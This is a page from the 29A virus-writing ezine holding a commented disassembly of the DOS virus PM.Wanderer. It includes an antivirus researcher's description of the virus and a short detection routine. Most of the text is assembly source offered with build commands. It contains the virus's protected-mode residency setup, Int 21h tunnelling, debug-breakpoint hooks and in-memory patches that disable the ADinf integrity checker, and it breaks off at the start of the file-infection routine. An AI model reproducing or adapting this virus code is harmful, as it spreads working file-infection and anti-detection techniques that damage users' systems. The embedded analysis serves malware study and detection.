Copy Link
Add to Bookmark
Report

29A Issue 02 04 01

eZine's profile picture
Published in 
29A
 · 28 Dec 2019

  

;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ PM.Wanderer ³
; ³ Disassembled by ³
; ³ Tcp/29A ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; This is one of the very few DOS viruses which use protected mode in order
; to perform its functioning and the first to do it in a pretty effective
; way. It appears encrypted in files by means of a polymorphic engine, whose
; garbage generator i've kinda liked, based in a table and a decoder of the
; contents of that table. This makes the engine pretty flexible as it's pos-
; sible to add entries to the table, being able to make the generated garba-
; ge much more confusing, without having to modify anything else.
;
; However the most notorious feature in this virus is the way it works under
; protected mode. I've included below an article written by the AVer (DrWeb)
; Igor Daniloff for VirusBulletin in which he makes a pretty good descrip-
; tion of the functioning of this part of the virus. Anyway there are some
; errors in the text, so i've commented them with (* *).
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Protected Mode Supervisor?
;
; Igor Daniloff
; DialogueScience
;
; Since their introductions, PCx have become increasingly complex through
; advances in both hardware and software. Computer viruses are also becoming
; more complex and intricate as their authors try to adapt them to changes
; in the computer environment.
;
; Now there are viruses that infect PC boot sectors of disks, DOS, Windows,
; Windows'95, OS/2, and Linux program files, as well as documents created in
; Word and Excel. Virus authors have devised stealth tecniques to help avoid
; detection, and anti-debugging and anti-virus mechanismes to make initial
; detection, then analysis more difficult. They have incorporated
; polymorphism in boot sectors, files, and memory to make detection more
; laborious and time-consuming for anti-virus designers. Since the release
; of i386 processors, viruses have begun to use 32-bit instructions in their
; codes. Some polymorphic viruses employ 32-bit operands in their decryptors.
;
; Unfortunately, viruses aim to survive and gain the upper hand under the
; existing conditions, using all conceivable software and hardware
; techniques. With the emergence of 286, and later 32-bit i386 processors,
; came protected (or virtual) operation mode. Thus far, virus authors have
; not successfully harnessed protected mode. Some have tried to master it,
; but their attempts have been unsuccessful because of changes with important
; operating system components.
;
; In 1994, the boot virus PMBS was the first to tackle protected mode, but
; could not cope with other applications or drivers (EMM386, Windows, OS/2)
; also using that mode. In the same year, viruses Evolution.2761 and
; Evolution.2770 succeeded in tapping part of the power of the protected
; mode, but only when the processor was in the real mode. These viruses
; replaced the actual interrupt vector table with their own interrupt
; descriptor table (IDT), which they loaded with IDT register. How did the
; Evolution viruses could use this technique in everyday life? I doubt there
; is a PC user who runs i386-Pentium in real mode.
;
; Although the i386 processor made its debut long ago, viruses have still
; failed to master its powerful protected mode. I believe that virus
; designers have cherished this hope for some time, and that one among them
; finally appears to have realized it.
;
; PM.Wanderer, apparently written in Russia, is a file infector which uses a
; cruide form of protected mode. It is surprisingly stable, interacting more
; or less correctly with other programs that utilize this mode. The name is
; derived from the string 'WANDERER,(c)P.Demenuk'.
;
; A resident polymorphic virus PM.Wanderer installs its resident part in the
; memory and toggles the processor to the protected mode, by utilizing the
; documented virtual control program interface (VCPI) of the extended memory
; supervisor (EMS, EMM386).
;
;
; Installation
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; On starting an infected program, the virus polymorphic decryptor decodes
; the main virus body and passes control to it. The virus code determines a
; location in the upper addresses of DOS memory, writes itself to this
; memory, and hands over control to the copy higher in memory. Then it
; restores the code of the infected file in the program segment (for EXE
; files, it also configures the addresses of relocated elements) and begins
; to install resident component.
;
; First, the virus checks whether there is an extended memory manager (EMS)
; in the system. It does this by retrieving the address of Int 67h (Extended
; Memory) though Int 21h function AX=3567h (Get Interrupt Vector), and
; checking whether the characters 'EM' exist in EMS header. Then the virus
; verifies whether its resident part is already installed by calling function
; AX=BABAh of Int 21h and locking for the answer AX=FA00h.
;
; If there is no active EMM in the system, or the resident part of the virus
; is already installed (and in subsequent operation, if there is no VCPI or
; an error occurs installing the resident copy), the virus frees the memory
; reserved for installing the resident copy and passes control to the host
; program. This completes the life cycle of the virus in a system. However,
; if environmental conditions are favourable, the virus intercepts Int 01h
; and traces Int 21h looking, for the word 9090h (two NOPs) in the original
; Int 21h handler code of MS DOS version 5.00-7.00.
;
; If this string is detected, the virus retrieves from a specific handler
; address the address of Int 21 handler kernel, which is usually located in
; the high memory area, and writes this address to its body. This address is
; subsequently used by the virus for calling the Int 21h handler kernel for
; infecting files.
;
; Then the virus verifies the presence of VCPI and reserves the physical
; addresses of four memory pages. IT next retrieves the address of VCPI, page
; table, and the addresses of GDT (Global Descriptor Table. This consists of
; three elements: the first is the code segment descriptor, and the other two
; are used by the VCPI driver). The virus writes a reference to the pages
; allotted by the VCPI driver to the page table, and retrieves the physical
; address of the memory page of the segment in which the virus is currently
; located. It also gets GDT and IDT registers. Next, the virus creates three
; (code and data) descriptors and a descriptor for the task state segment
; (TSS) in GDT.
;
; Finally, it prepares the values for the registers CR3, GDTR, IDTR, LDTR
; (Local Descriptor Table Register), TR (Task Register), and the address
; CS:EIP of the protected mode entry point. Using the VCPI tools, the virus
; toggles the processor to protected mode with the highest privilege level,
; known as the supervisor.
;
; In the protected mode, the virus corrects IDT (* corrects GDT *) by creating
; two segment descriptors, then searches for the TSS descriptor (* searches for
; page table *). Next the virus defines two breakpoints: one at the first byte
; of the code of the current INT 21h handler (0000:0084h) and the other at
; the first byte of the code in BIOS at 0FE00:005Bh (linear address 0FE05Bh).
; The BIOS location usually holds the 'near jump to reboot'. The virus then
; corrects IDT to set debug exceptions at Int 01h and Int 09h. It also defines
; two handler descriptors: trap gate and interrupt gate.
;
; After these preliminaries, the virus writes its code to the memory page and
; switches the processor back to the virtual mode in order to free the DOS
; memory in upper addresses and to return the control to the infected
; program. From this instant, the infected program begins its "normal" work,
; but Int 01h and Int 09h have been redefined by the virus as trap gate and
; interrupt gate in protected mode, respectively.
;
;
; Keyboard Handler
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; On receiving control, the virus-defined Int 09h handler verifies whether
; the two virus-defined breakpoints exist, and restores them if either has
; been zeroed. Using the register DR7, the virus checks whether the two
; breakpoints (0 and 1) are defined, without verifying their linear
; addresses. If either of the breakpoints is missing, the virus calls the
; procedure that instantly restores them to their initial status. The
; virus-defined Int 09h handler also keeps a close watch on the pressing of
; Ctrl-Alt-Del and `resets' all breakpoints when this key combination is
; used.
;
; Debug Exceptions Handler The virus-defined debug exceptions handler
; verifies whether either of the virus breakpoints has been reached by
; checking the command address. If control passed to this handler from the
; 'near jump to reboot' in BIOS, the virus resets all breakpoints just as the
; virus-defined keyboard handler does when the key combination Ctrl-Alt-Del
; is pressed.
;
; If the exception was caused by the breakpoint of the original DOS Int 21h
; handler, the virus analyzes the AX register to determine the function of
; Int 21h, and behaves accordingly. Prior to analyzing this, the virus sets
; the resume flag (RF=1) in the stack's EFLAGS register that is intended to
; return control to the breakpoint. This flag is set should a debug exception
; take place while returning control to the breakpoint.
;
; If Int 21h is called with AX=0BABAh, the virus the virus recognizes this as
; its 'Are you there?' call. If PM.Wanderer is installed it writes writes the
; value 0FACCh in the AX register and returns control to the original DOS Int
; 21h handler. On exiting from the DOS handler, the AL register is set to
; zero. The register value AX=0FA00h informs the non-resident virus that a
; copy is already active.
;
; If Int 21h is called with either AX=4B00h (start program) or AH=3Dh and the
; lower 4 bits of AL set to zero (open file for reading), the virus decides
; to infect. The virus writes its code to 9000:0000h (linear address 90000h),
; prepares a stack, and toggles the processor to 8086 virtual mode with IRETD
; command at third and last privilege level.
;
;
; File Infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; In virtual mode, the virus code verifies the last two characters (OM or XE)
; of the filename extension, creates a polymorphic copy, and infects files
; longer than 4095 bytes. PM.Wanderer does not infect a files if seconds
; field of file's time-stamp is 34, assuming that the file is already
; infected, assuming the file is already infected, nor does the virus alter
; file attributes. Therefore read only files are not infected. Further, the
; virus does not infect a particular program with seven-character filename. I
; could not find the name of this file: the virus defines it implicitly by
; computing the CRC of itss name.
;
; The virus does not take over Int 24h (Critical Error Handler), so when
; critical errors (for example, writing to write-protected disks) occur
; during infection, the standard DOS query - Retry, Ignore, Fail, Abort? - is
; displayed. The virus infects a file by calling the DOS Int 21h handler
; directly, using the address obtained from tracing Int 21h at installation.
; The virus code is prepended to the header of COM files and inserted into
; the middle of EXE files, immediately below the header. Prior to this, the
; relocations field in the header is zeroed by moving the original program
; code to the file end. The `real working code' of the virus is 3684 bytes
; long, but the size of infected files increases by more than 3940 bytes.
; (* exactly between 3940 and 4036 bytes: 3684 + decryptor (256 to 352) *)
;
;
; Exit from the V-mode of DOS-machine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus uses a smart technique to exit the V-mode and to transfer control
; to the breakpoint of the DOS Int 21h handler that called the debug
; exceptions, so that DOS functions normally. Were the virus to infect a file
; while in P-mode, everything would be simple - it would be sufficient to
; execute the IRETD command. Since the virus has toggled to the V-mode with
; privilege level three, it is possible for the debug exceptions handler to
; switch back to P-mode. Therefore, the virus plays an elegant trick to
; surmount the situation.
;
; If an error occurs during infection or while exiting from the virtual mode,
; the virus calls Int 21h with AX=4B00h. When Int 21h is called with
; AX=4B00h, control jumps to the first command of the DOS Int 21h handler.
; This command contains a virus-defined breakpoint. Control must now be
; transferred to the debug exceptions handler in P-mode. However, the V-mode
; monitor discovers the need to process the next debug exception. The point
; is that the virus debug exceptions handler has not returned the control to
; the breakpoint and is still busy processing the current debut exception.
; Therefore, the V-mode monitor terminates the Int 21h call, aborts
; processing the current debug exception, and returns control to the
; breakpoint with the values stored in the registers of the previous Int 21h
; call.
;
;
; Payload
; ÄÄÄÄÄÄÄ
; If the debug exceptions handler is passed AX=3506h (such a call for getting
; the INT 06 address usually exists in all programs compiled from high-level
; languages, such as C, Pascal), PM.Wanderer scans the linear address space
; 0-90000h looking for a string that obviously belongs to the Russian
; integrity checker ADinf. If this string is found, the virus modifies it in
; order to disable the alerts ADinf usually raises on detecting changes to
; files and disks.
;
; Search for the Virus in Memory: It is clear from the above that conventional
; memory scanning methods are incapable of detecting the resident copy of the
; virus at level zero privilege in the protected mode. The resident copy can
; be detected only after toggling to the highest privilege level of protected
; mode with the help of GDT or IDT. However, this virus can be trapped by
; other conventional methods. Here, the linear addresses of the first two
; breakpoints (0 and 1) must be determined and compared with the values
; described above. The possible presence of PM.Wanderer in the memory can be
; decided from theese addresses. It is imperative that such operations be
; carried out only in a DOS session. In assembler language, this can be done
; as follows:
;
;
; .8086
; MOV AX,0BABAH ;simulate that the virus is checking its
; INT 21H ;presence in the memory
; CMP AX,0FA00H ;did the resident copy respond?
; JNE ExitCheckMemory
; .386P
; MOV EAX,DR7 ;read register DR7
; AND EAX,20AH
; CMP EAX,20AH ;are 2 breakpoints defined?
; JNE ExitCheckMemory
; MOV EAX,DR1 ;read linear address of breakpoint 1
; CMP EAX,0FE05BH ;is it set at 0FE00:005BH in BIOS?
; JNE ExitCheckMemory
; .8086
; MOV AH,9
; MOV DX,OFFSET VirusIsFound
; INT 21H ;alert about the possible presence of
; CLI ;virus in the memory
; JMP $+0 ;"hang up" system
;ExitCheckMemory:
; INT 20H ;terminate operation
;
;
; Test
; ÄÄÄÄ
; After infecting several thousand files, the virus behaves like a 'lodger'
; with all infected files remaining operative. A file becomes inoperative
; only if, after infection, its stack are located within the virus code.
; While infecting EXE files, PM.Wanderer does not modify the start SS:SP
; values in the EXE header. As already mentioned, the virus is capable of
; reproduction only if EMS (EMM386) is installed in the system. If EMM386 is
; installed with the /NOEMS option, when the virus toggles processor to
; protected mode, the system will reboot. The computer may also reboot if
; QEMM386 is installed.
;
; The virus loses its reproduciability under Windows 3.1x and Windows 95.
; These operating systems cut off an already resident PM.Wanderer, because
; while loading they install their own handlers in IDT and zero all
; breakpoints. Prior to terminating a session and returning to DOS, Windows
; restores the previous status of the interrupt descriptor table. On pressing
; a key in DOS environment, the virus gets control, installs its own
; breakpoints, and continues its activities. Due to the absence of VCPI in a
; DOS session within Windows, the virus cannot return to the protected mode
; there. For the same reason, the virus is also inoperative under OS/2.
;
;
; Conclusion
; ÄÄÄÄÄÄÄÄÄÄ
; PM.Wanderer is the first virus to utilize i386 the protected mode and not
; conflict with the domimamt Microsoft operating systems, which also use that
; mode. It is possibly that future viruses may completely overwrite the
; supervisor with their own code supporting the DPMI, EMS/VCPI, XMS, and Int
; 15h extended memory interfaces. Who knows?
;
;
; PM.Wanderer
; Aliases: None known
; Type: Memory resident in P-mode, polymorphic
; Infection: COM and EXE files
; Self-recognition in
; Memory: See description
; Self-recognition in Files: Bit 1 and bit 4 in seconds field of file's
; time-stamp set
; Hex Pattern in Files: The virus is polymorphic, and there is no
; useful hex pattern.
; Hex Pattern in Memory: Virus works in P-mode, see description
; Intercepts: In IDT: Int 09h for enabling breakpoints,
; Int 1 for infection
; Payload: Patch the integrity checker ADinf in
; memory.
; Removal: Under clean system conditions, identify
; and replace infected files
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Other data
; ÄÄÄÄÄÄÄÄÄÄ
; Virus : PM.Wanderer
; Size : 3684 (code) + 256-352 (decryptor) = 3940-4036 bytes
; Author : P. Demenuk
; Origin : Russia
; Disasm by : Tcp/29A
;
;
; Greetings
; ÄÄÄÄÄÄÄÄÄ
; They go this time to l- (i got it) ;), and to Vecna/29A, as he was working
; in the same project at the same time, without any of we both having reali-
; sed about that fact :) I noticed it also happened the same to him with the
; Dementia disassembly... that's bad luck, man! :)
;
; Send any question or comment to tcp@cryogen.com.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m wanderer.asm (ignore warnings, if any)
; tlink /t /3 wanderer (ignore fixup overflow errors)


.386p ; Of course, 386 protected mode
wanderer segment byte public 'CODE' use16
assume cs:wanderer, ds:data0, es:data0, ss:data0
org 100h

; Selectors :
CODE_SEL = 8 ; CS Selector
DATACS_SEL = 10h ; CS Alias Selector
ALLMEM_SEL = 18h ; 4GB Memory Selector
TSS_SEL = 28h ; TSS Selector
VCPICS_SEL = 30h ; VCPI CS Selector

VIRUS_SIZE = virus_end - start
STACK_SIZE = 44h

start:
call get_delta
get_delta:
pop si
sub si,3 ; Get delta offset
mov di,offset(start)
cld
mov ax,cs
push ds
mov ds,ax
mov es,ax
push offset(mem_mcb)
mov bx,offset(copy_code)
mov word ptr [bx],0A4F2h ; Encode 'repnz movsb'
mov word ptr [bx+2],0C361h ; Encode 'popa ; ret'
mov cx,VIRUS_SIZE
pusha
jmp bx

db 0Ah,'WANDERER,(c) P. Demenuk',0Ah

mem_mcb:
pop ax
dec ax
mov es,ax ; ES:=MCB
mov bx,es:[3] ; Get number of paragraphs in this MCB
mov ds:size_mcb,bx
inc ax
mov es,ax ; ES:=PSP
jmp alloc_mem

free_mem:
mov bx,ds:size_mcb
sub bx,600h ; 600h*16 = 24576 bytes
mov ah,4Ah
int 21h ; Adjust memory block size
; ES = segment addr of block to change
; BX = new size in paragraphs
alloc_mem:
mov bx,500h ; 500h*16 = 20480 bytes
mov ah,48h
int 21h ; Allocate memory
; BX = 16-byte paragraphs desired
jc free_mem ; Error? then jmp
mov es,ax
xor di,di
xor si,si
mov cx,2048
mov ds:codesegment,cs
rep movsw ; Copy 4K to allocated memory
push cs
push ax
push offset(new_mem_pos)
retf ; Jump to new copy

new_mem_pos:
push cs
pop ds
cmp ds:host_type,0 ; COM file?
jz check_resident ; Yes? then jmp
mov ah,62h
int 21h ; Get PSP address
mov es,bx
mov es,es:[2Ch] ; ES:=environment
xor di,di
mov cx,8000h
mov al,1
repne scasb ; Search for '1h' (file path)
inc di ; Current file path
push es
pop ds
mov ax,3D00h
mov dx,di
int 21h ; Open file (read)
xchg ax,bx ; BX := handle
pop ds
mov ax,4200h
mov dx,cs:filesize_l
mov cx,cs:filesize_h
int 21h ; Lseek end of original file
mov ah,3Fh
mov cx,cs:size_in_file
xor dx,dx
int 21h ; Read from file
push ds
push cs
pop ds
mov ax,4200h
mov dx,ds:ofs_relocitems
xor cx,cx
int 21h ; Lseek start of relocation table
mov cx,ds:reloc_items
shl cx,1 ; x2 (number of bytes in reloc. table)
shl cx,1
mov dx,offset(buffer1)
mov ah,3Fh
int 21h ; Read relocation table
mov ah,3Eh
int 21h ; Close file
mov si,offset(buffer1)
pop ax
mov cx,ds:reloc_items
jcxz no_reloc_items ; Any relocation item? No? then jmp
l_reloc:
add [si+2],ax ; Relocate item in memory
les di,[si]
add es:[di],ax
add si,4
loop l_reloc
no_reloc_items:
mov psp_seg,ax
check_resident:
mov ax,3567h
int 21h ; Get int 67h vector
cmp word ptr es:[0Ah],'ME' ; EMM386 loaded?
push cs
pop es
jne exec_host ; No? then jmp
mov ax,0BABAh ; Residency check
int 21h
cmp ax,0FA00h ; Already resident?
jne go_resident ; No? then jmp
free_virmem:
sti
exec_host:
mov ah,49h
int 21h ; Free memory
cmp ds:host_type,0 ; COM file?
jz exec_com ; Yes? then jmp
mov ax,psp_seg
add ax,ds:file_reloCS
push ax ; CS
push ds:file_exeIP ; IP
mov ax,psp_seg
sub ax,10h
mov es,ax
mov ds,ax
jmp restore_mcb

exec_com:
mov sp,0FFFEh ; Set stack pointer
push 100h ; IP
pusha
mov si,ds:filesize_l
and si,si ; Is the virus dropper?
jz exit_program ; Yes? then jmp
mov di,100h
add si,di ; End of original file
cld
mov es,ds:codesegment
mov ds,ds:codesegment
push es
push offset(copy_code)
mov cx,ds:size_in_file
restore_mcb:
mov ah,4Ah
mov bx,cs:size_mcb
int 21h ; Restore MCB size
retf ; Restore original code and return to host

exit_program:
mov ax,4C00h
int 21h ; Exit program

go_resident:
call encrypt_infection_routine ; Decrypt
call tunnel_i21
mov ax,0DE00h ; VCPI installation check
call VCPI ; Doesn't return if not installed
mov saved_sp,sp
mov saved_ss,ss
mov di,offset(pages_4K)
mov cx,4 ; Allocate 4 pages (4K per page)
l_alloc_page:
mov ax,0DE04h ; VCPI - Allocate a 4K page
call VCPI
mov [di],edx ; EDX = physical address of page
scasd ; == add di,4
loop l_alloc_page
mov bx,cs
add bx,100h ; Align data area on page
xor bl,bl
inc bh
mov es,bx ; Base address of directory page
mov ds:addr_dir_page,bx
xor ax,ax
xor di,di
mov cx,(4096+4096)/2 ; 2 pages
rep stosw ; Clear directory page area (4K)
; and page table (4K)
mov ax,0DE01h ; VCPI - Get Protected Mode Interface
; ES:DI -> 4K page table buffer
; DS:SI -> three descriptor table
; entries in GDT. First
; becomes code segment
; descriptor, other two for
; use by main control prog.
mov ds,bx ; DS := segment of dir page table
inc bh ; add 100h
mov es,bx ; ES := segment of page table
xor di,di
mov si,100h+VCPICS_SEL ; GDT in page table + 100h
call VCPI
push cs
pop ds
mov ds:pm_ep,ebx ; EBX = protected mode EP in code seg.
xor si,si
mov cx,400h ; 4GB, all addressable memory
xor bx,bx ; BX in [0..3FFh]
l_entry: ; Map the memory in the page table
mov eax,es:[si] ; Read page table entry
cmp eax,0 ; Invalid (available) entry?
jnz next_page_entry ; No? then jmp
movzx eax,bx ; Page entry
shl eax,0Ch ; Page frame address
mov al,67h ; Dirty, Accessed, User, Write, Present
mov es:[si],eax ; Store page in page table
next_page_entry:
add si,4 ; Next entry
inc bx
loop l_entry
mov eax,ds:page_1 ; Map page_1 in page table
mov esi,eax
mov al,67h ; Dirty, Accessed, User, Write, Present
shr esi,0Ah ; Calculate page number in page table
mov es:[esi],eax ; Store page in page table
mov ds:virus_cs,cs
call setup_system_regs
sidt qword ptr ds:IDT
sgdt qword ptr ds:GDT
mov esi,100h ; GDT (addr.dir.page table + 100h)
push es
pop ds
mov cx,cs
movzx ecx,cx
shl ecx,4 ; Segment Base (CS)
mov ax,CODE_SEL
mov ebx,0FFFFh ; Segment Limit (64K)
mov dx,0000000010011010b ; Access rights: Executable
; code, readable, present,
; DPL 0
push ecx
push ebx
call build_descriptor
mov ax,DATACS_SEL
pop ebx ; Limit (64K)
pop ecx
mov dx,0000000010010010b ; Access rights: Data, writable,
; present, DPL 0
call build_descriptor
mov ax,ALLMEM_SEL
xor ecx,ecx
mov ebx,0FFFFFFFFh ; Limit (4GB: granularity on)
mov dx,1000000010010010b ; Access rights: Data, writeble,
; present, granularity, DPL 0
call build_descriptor
mov ax,TSS_SEL
mov cx,ds
movzx ecx,cx
shl ecx,4 ; Addr. directory page table
push ecx
add ecx,10h ; TSS in dir.page table + 10h
mov dx,0000000010001001b ; Access rights: System, DPL 0,
; available 386 TSS, present
mov ebx,67h ; Limit
call build_descriptor
pop ecx ; Addr. directory page table
add ecx,100h ; GDT in dir.page table + 100h
push cs
pop ds
mov ds:base_gdt,ecx
cli
mov ax,cs
movzx esi,ax
mov ax,0DE0Ch
shl esi,4
add esi,offset(system_registers)
int 67h ; VCPI - Switch to protected mode
; ESI = linear address in first megabyte of
; values for system registers
; Return: interrupts disabled
; GDTR, IDTR, LDTR, TR loaded
jmp $


ofs_i1 dw 0
seg_i1 dw 0
save_ss dw 0
save_sp dw 0


int_1:
push bp
push ds
push si
mov bp,sp
lds si,[bp+6] ; Get return address from stack
cmp word ptr [si],9090h ; NOP+NOP? (int 21h entry point)
je found_i21_entry ; Yes? then jmp
pop si
pop ds
pop bp
iret

tunnel_i21:
mov ax,3501h
int 21h ; Get int 1h vector (trace)
mov ds:ofs_i1,bx
mov ds:seg_i1,es
mov dx,offset(int_1)
mov ah,25h
int 21h ; Set new int 1h
push cs
push cs
mov ds:save_ss,ss ; Save stack
mov ds:save_sp,sp
cld
pushf
pushf
pop ax ; Read flags
or ax,100h ; Set bit trace on
push ax
xor ax,ax
mov ds,ax ; DS := 0
mov ah,30h ; Get DOS version
push cs
pop es
popf ; Activate int 1h tunneler
call dword ptr ds:[21h*4]
pop es
xor ax,ax
mov ds,ax ; DS := 0
mov di,offset(ofs_i21)
mov si,21h*4
movsw
movsw
pop ds
push cs
jmp restore_i1

found_i21_entry:
mov ss,cs:save_ss ; Restore stack
mov sp,cs:save_sp
mov si,[si+8]
lodsw ; Store int 21h entry point
mov cs:ofs_i21,ax
lodsw
pop ds
mov ds:seg_i21,ax
restore_i1:
xor ax,ax
mov es,ax ; ES := 0
mov di,1h*4
mov si,offset(ofs_i1)
movsw ; Restore int 1h
movsw
pop es
ret

; PM Entry point
pm_entry_point:
mov ax,DATACS_SEL
mov ss,ax ; Stack descriptor
mov sp,offset(_stack)
mov es,ax ; Extra data descriptor
mov ax,ALLMEM_SEL
mov ds,ax ; Data descriptor
mov esi,es:GDT_base
movzx ecx,es:GDT_limit
inc ecx ; First entry unused
shr ecx,3 ; Number of entries in GDT
xor bx,bx
xor eax,eax
l_next_gdt_entry:
add esi,8 ; Next descriptor
add bx,00001000b ; Next selector
cmp eax,[esi+4] ; Available entry?
jne next_gdt_entry ; No? then jmp
mov es:virus_selector,bx
mov ebx,0FFFh ; Limit 4K
mov ecx,es:page_1
mov dx,0000000010011011b ; Access rights: Code, Readable,
; present, accessed, DPL 0
call build_descriptor
add esi,8 ; Next descriptor
xor ecx,ecx
mov ebx,0FFFFFFFFh ; Limit (4GB : granurality on)
mov dx,1000000010010010b ; Access rights: Data, Writable,
; present, DPL 0
call build_descriptor
jmp search_pagetable

next_gdt_entry:
loop l_next_gdt_entry
no_descriptor:
jmp no_descriptor ; Descriptor not found in GDT

search_pagetable:
mov esi,1024*1024 ; 1MB
l_search_pagetable:
add esi,4*1024 ; 4KB (a page)
cmp dword ptr [esi],67h ; Page for address 0 ?
jne l_search_pagetable ; No? then jmp
cmp dword ptr [esi+4],1067h ; Page for address 4096 ?
jne l_search_pagetable ; No? then jmp
mov es:pagetable,esi
movzx eax,word ptr ds:[21h*4] ; Get int 21h vector
movzx ebx,word ptr ds:[21h*4+2]
shl ebx,4 ; Calculate physical address
add eax,ebx
mov es:i21h_ep,eax ; Save old int 21h
call set_breakpoints
mov es:infecting,0 ; Flag: can infect files
mov eax,es:page_1 ; Insert vir page in page table
mov ebx,eax
mov al,67h
shr ebx,0Ah
mov [esi][ebx],eax
mov di,offset(orig_i1)
mov ecx,1 ; Int 1h (trace)
mov ax,offset(pm_int_1)
call build_idt_descriptor
add di,6 ; offset(orig_i9)
mov ecx,9 ; Int 9h
mov ax,offset(pm_int_9)
call build_idt_descriptor
push es
push ds
pop es
pop ds
xor esi,esi
mov edi,ds:page_1
cld
mov ecx,1024
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy (4k) to virus page
movzx eax,saved_sp
mov bx,ds:virus_cs
push cx
push bx ; GS
push cx
push bx ; FS
push cx
push bx ; DS
push cx
push bx ; ES
push cx
push saved_ss ; SS
push es
push ds
pop es
pop ds
push eax ; ESP
pushfd ; Flags
push cx
push bx ; CS
push 0
push offset(free_virmem) ; EIP
movzx esp,sp
mov ax,0DE0Ch ; Switch to protected mode (v86 mode)
call fword ptr cs:pm_ep


pm_int_9:
push eax
mov eax,dr7
and ax,0000001100001010b ; Check breakpoints
cmp ax,0000001100001010b ; Removed?
je check_ctrlaltdel ; No? then jmp
call set_breakpoints ; else restore them
check_ctrlaltdel:
in al,60h ; Read scan code from keyboard
cmp al,53h ; DEL key?
jne exit_pm9 ; No? then jmp
call set_ds
mov al,ds:[417h] ; Get keyboard status (0:417h)
and al,0Ch
cmp al,0Ch ; CTRL & ALT pressed?
jne exit_pm9 ; No? then jmp
xor eax,eax
mov dr7,eax ; Remove breakpoints if reset
exit_pm9:
pop eax
jmp fword ptr cs:orig_i9

exit_pm1:
pop eax
jmp fword ptr cs:orig_i1


pm_int_1:
push eax
mov eax,dr6 ; Test breakpoint number
test al,3 ; Breakpoint 0 or 1?
jz exit_pm1 ; No? then jmp
test al,2 ; Breakpoint 1?
jz dos_bp ; Yes? then jmp
xor eax,eax ; Else breakpoint 0
mov dr7,eax ; Remove breakpoints
pop eax
iretd

dos_bp:
xor eax,eax
mov dr6,eax ; Clear dr6 (never cleared by CPU)
pop eax
or byte ptr [esp+0Ah],1 ; Set RF in stack
cmp ax,0BABAh ; Residency check?
jne check_function ; No? then jmp
mov ax,0FACCh ; DOS will try to exec function 0FACCh
; but it doesn't exist, then DOS will
; return 0FA00h
_iretd:
iretd

check_function:
cmp ax,3506h ; Get int 6 vector?
je check_patch ; Yes? then jmp
cmp ax,4B00h ; Exec file?
je check_prev_inf ; Yes? then jmp
cmp ah,3Dh ; Open file?
jne _iretd ; No? then jmp
test al,0Fh ; For reading?
jne _iretd ; No? then jmp
check_prev_inf:
cmp cs:infecting,1 ; Exist a copy for infection?
je kill_copy4infection ; Yes? Kill it (finished work)
pushad
call set_ds
mov es,ax
mov ecx,cs:page_1
xor ebp,ebp
mov esi,90h ; Segment 90h (phys. 90000h)
l_map_page234:
mov edx,cs:page_2[ebp*4]
call map_page
db 66h,67h,89h,9Ch,0A9h ; (TASM FIX)
dd offset(old_pages) ; mov [ecx+old_pages][ebp*4],ebx
; Store old page
inc esi ; Next 4KB
inc bp ; Next page
cmp bp,3 ; Pages 2,3 and 4 in page table?
jne l_map_page234 ; No? then jmp
mov esi,cs:page_1
mov edi,90000h
mov ds:[esi+infecting],1
mov [esi+STACK_SIZE],esp ; moc [esi+_esp],esp (TASM FIX)
cld
mov ecx,400h ; 4KB
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy code
mov ax,ss
mov ds,ax
mov esi,esp
mov edi,cs:page_1
mov ecx,STACK_SIZE/4
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy stack
popad
mov eax,9000h
push eax ; GS
push eax ; FS
push dword ptr [esp+20h] ; DS
push dword ptr [esp+20h] ; ES
push eax ; SS
db 66h ; (TASM FIX) PUSH 0FFFEh (dword)
push 0FFEh ; ESP
dw 0 ; (TASM FIX)
push 23000h ; EFLAGS (VM 8086, RPL 3)
push eax ; CS
mov eax,offset(infect_file)
push eax ; EIP
iretd ; Jump to infect_file task, pm level 3

check_patch:
pushad
mov bx,cs
mov ds,bx ; DS = CS
add bx,8
mov es,bx
mov esi,offset(memory_patch)
mov bp,2 ; Number of patches
cld
search_code:
mov edi,90000h
mov eax,[si]
search_patch:
dec edi
jz skip_patch
cmp es:[edi],eax ; Maybe the code it's searching
jne search_patch ; No? then jmp
movzx ebx,byte ptr [si+4]
mov edx,[si+5]
cmp es:[edi][ebx],edx ; Code found?
jne search_patch ; No? then jmp
movsx ebx,byte ptr [si+9] ; Offset to the patch
add edi,ebx
movzx ecx,byte ptr [si+0Ah] ; Number of bytes to patch
add si,start_patch1-memory_patch
db 0F3h,67h,0A4h ; rep movsb (TASM FIX)
; Patch it
jmp next_patch


skip_patch:
movzx ax,[si+0Ah] ; Point next patch
add si,ax
add si,start_patch1-memory_patch
next_patch:
dec bp ; Another patch?
jnz search_code ; Yes? then jmp
jmp exit_21h

memory_patch:
; Patch #1
db 83h, 0c6h, 32h, 81h ; Bytes to search (1)
db 0Ah ; Offset to bytes (2)
db 68h, 4Eh, 9Ch, 9Ah ; Bytes to search (2)
db 0Dh ; Offset to the patch
db end_patch1-start_patch1 ; Patch size
start_patch1:
db 0EBh, 3 ; Patch code
end_patch1:

; Patch #2
db 8Dh, 56h, 0D6h, 3 ; Bytes to search (1)
db 5 ; Offset to bytes 2
db 36h, 89h, 7, 8Bh ; Bytes to search (2)
db 0FCh ; Offset to the patch
db end_patch2-start_patch2 ; Patch size
start_patch2:
db 0D1h, 0E6h, 83h, 0FEh, 0Ah, 75h, 2, 33h, 0C0h, 89h
db 42h, 0D6h, 0D1h, 0EEh, 4, 6, 93h ; Patch code
end_patch2:


infect_file:
xor ax,ax
mov di,dx
mov cx,41h
push ds
pop es
cld
repne scasb ; Search end of path
jcxz jmp_return_dpl0 ; Found? No? then jmp
jmp check_extension ; Yes? then jmp

